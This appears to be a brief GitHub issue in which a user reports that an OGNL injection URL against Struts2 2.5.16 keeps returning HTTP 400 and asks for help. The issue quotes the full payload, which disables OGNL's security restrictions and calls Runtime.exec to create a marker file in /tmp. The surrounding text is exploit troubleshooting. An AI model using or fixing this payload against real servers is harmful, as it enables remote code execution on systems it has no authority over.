http 404

[letitbezh]

environment structs2 2.5.16
when i use %7B(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec('touch /tmp/jas502n'))%7D/actionChain1.action

it always return 400, Do you solve this question?